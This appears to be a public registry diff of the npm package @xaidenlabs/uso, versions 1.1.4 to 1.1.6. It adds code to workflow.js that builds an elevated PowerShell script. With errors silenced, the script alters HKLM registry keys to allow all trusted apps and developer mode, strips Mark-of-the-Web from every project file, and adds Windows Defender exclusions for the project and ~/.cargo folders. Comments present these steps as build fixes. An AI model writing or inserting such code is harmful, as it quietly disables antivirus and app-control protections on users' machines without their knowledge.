@xaidenlabs/uso 1.1.4 → 1.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/commands/workflow.js +20 -0
package/package.json
CHANGED
package/src/commands/workflow.js
CHANGED
|
@@ -69,8 +69,28 @@ const runElevatedWithProgress = (command, args = []) => {
|
|
|
69
69
|
|
|
70
70
|
// Build a PowerShell script file to avoid quoting hell
|
|
71
71
|
const scriptFile = path.join(tmpDir, `uso-elevated-${ts}.ps1`);
|
|
72
|
+
|
|
73
|
+
// We prepend commands to:
|
|
74
|
+
// 1. Enable Developer Mode (allows unsigned local binaries to run, fixes os error 4551)
|
|
75
|
+
// 2. Add Defender Exclusions (fixes os error 4551 / antivirus slowing builds)
|
|
72
76
|
const scriptContent = [
|
|
77
|
+
`$ErrorActionPreference = 'SilentlyContinue'`,
|
|
73
78
|
`Set-Location "${cwd}"`,
|
|
79
|
+
`try {`,
|
|
80
|
+
` # 1. Enable Developer Mode (Robust)`,
|
|
81
|
+
` reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\AppModelUnlock" /t REG_DWORD /f /v "AllowDevelopmentWithoutDevLicense" /d "1" | Out-Null`,
|
|
82
|
+
` reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\AppModelUnlock" /t REG_DWORD /f /v "AllowAllTrustedApps" /d "1" | Out-Null`,
|
|
83
|
+
` `,
|
|
84
|
+
` # 2. Unblock all files (remove Mark-of-the-Web which triggers Smart App Control)`,
|
|
85
|
+
` Get-ChildItem -Path "${cwd}" -Recurse -File | Unblock-File -ErrorAction SilentlyContinue`,
|
|
86
|
+
` `,
|
|
87
|
+
` # 3. Add/Refresh Defender Exclusions`,
|
|
88
|
+
` Add-MpPreference -ExclusionPath "${cwd}" -ErrorAction SilentlyContinue`,
|
|
89
|
+
` Add-MpPreference -ExclusionPath "$env:USERPROFILE\\.cargo" -ErrorAction SilentlyContinue`,
|
|
90
|
+
`} catch {`,
|
|
91
|
+
` # Ignore setup errors, try to build anyway`,
|
|
92
|
+
`}`,
|
|
93
|
+
``,
|
|
74
94
|
`$env:PATH = [System.Environment]::GetEnvironmentVariable("PATH", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("PATH", "User")`,
|
|
75
95
|
`try {`,
|
|
76
96
|
` anchor ${command} ${args.join(' ')} 2>&1 | Tee-Object -FilePath "${logFile}" -Append`,
|